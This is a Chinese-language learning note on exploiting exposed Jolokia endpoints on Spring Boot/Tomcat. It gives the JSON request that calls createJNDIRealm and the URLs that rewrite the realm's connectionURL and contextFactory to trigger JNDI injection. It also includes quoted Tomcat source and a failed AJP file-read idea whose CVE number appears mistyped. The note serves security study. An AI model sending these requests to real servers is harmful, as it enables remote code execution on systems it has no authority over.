前言:jolokia Realm JNDI RCE 學習筆記
參考文章:https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html
有個疑問點還是不太懂,因為Tomcat是SpringBoot內嵌的,並且MBanFactory是存在於Tomcat中,為什么有些環境是Tomcat,可是相關的MBanFactory卻不存在於jolokia中?如下圖所示一個是1.4.0 一個是2.5.6 但是2.5.6就不存在相關的MBeanFactory,原因不知道,希望懂得老哥可以指點下!
環境搭建和漏洞利用
探測可利用MBean,發現存在相關的createJNDIRealm方法
利用相關腳本進行測試,如下圖所示
漏洞分析
MBeanFactory中提供了這個createJNDIRealm方法的執行操作,通過該方法可以創建一個JndiRealm對象出來讓我們進行操作
/**
* Create a new JNDI Realm.
*
* @param parent MBean Name of the associated parent component
* @return the object name of the created realm
*
* @exception Exception if an MBean cannot be created or registered
*/
public String createJNDIRealm(String parent)
throws Exception {
// Create a new JNDIRealm instance
JNDIRealm realm = new JNDIRealm();
// Add the new instance to its parent component
ObjectName pname = new ObjectName(parent);
Container container = getParentContainerFromParent(pname);
// Add the new instance to its parent component
container.setRealm(realm);
// Return the corresponding MBean name
ObjectName oname = realm.getObjectName();
if (oname != null) {
return (oname.toString());
} else {
return null;
}
}
接着就通過如下json數據創建一個對應的JndiRealm對象
地址:http://localhost:9094/jolokia
{
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
接着你會發現兩個關鍵的要素,一個控制相關的上下文工廠,也就是能夠指定
connectionURL的讀寫:
http://localhost:9094/jolokia/read/Tomcat:realmPath=!/realm0,type=Realm/connectionURL
http://localhost:9094/jolokia/write/Tomcat:realmPath=!/realm0,type=Realm/connectionURL/$java.lang.String
contextFactory的讀寫:
http://localhost:9094/jolokia/read/Tomcat:realmPath=!/realm0,type=Realm/contextFactory
http://localhost:9094/jolokia/write/Tomcat:realmPath=!/realm0,type=Realm/contextFactory/$java.lang.String
這里還需要說下,默認的createJNDIRealm創建的JNDIRleam對象,它默認就存在相關的contextFactory,如下所示
org/apache/catalina/realm/JNDIRealm.java
com.sun.jndi.ldap.LdapCtxFactory
通過自定義設置上面兩個,然后配合JNDIRleam的start方法
該start方法定義如下,也就是對應的startInternal方法
該方法中的open方法如下所示,它通過createDirContext方法根據getDirectoryContextEnvironment當前環境信息配對的一個JNDI目錄服務對象,從而觸發JNDI注入
個人思考的漏洞
/**
* Create a new AjpConnector
*
* @param parent MBean Name of the associated parent component
* @param address The IP address on which to bind
* @param port TCP port number to listen on
* @return the object name of the created connector
*
* @exception Exception if an MBean cannot be created or registered
*/
public String createAjpConnector(String parent, String address, int port)
throws Exception {
return createConnector(parent, address, port, true, false);
}
我的思路就是通過AjpConnector來開啟一個AJP服務端口,然后通過CVE-2020-1398來進行文件讀取,但是最終在springboot的環境下是行不通的。
所以最終以失敗告終,springboot的處理為dispachservlet和原生的tomcat的httpservlet處理流程不同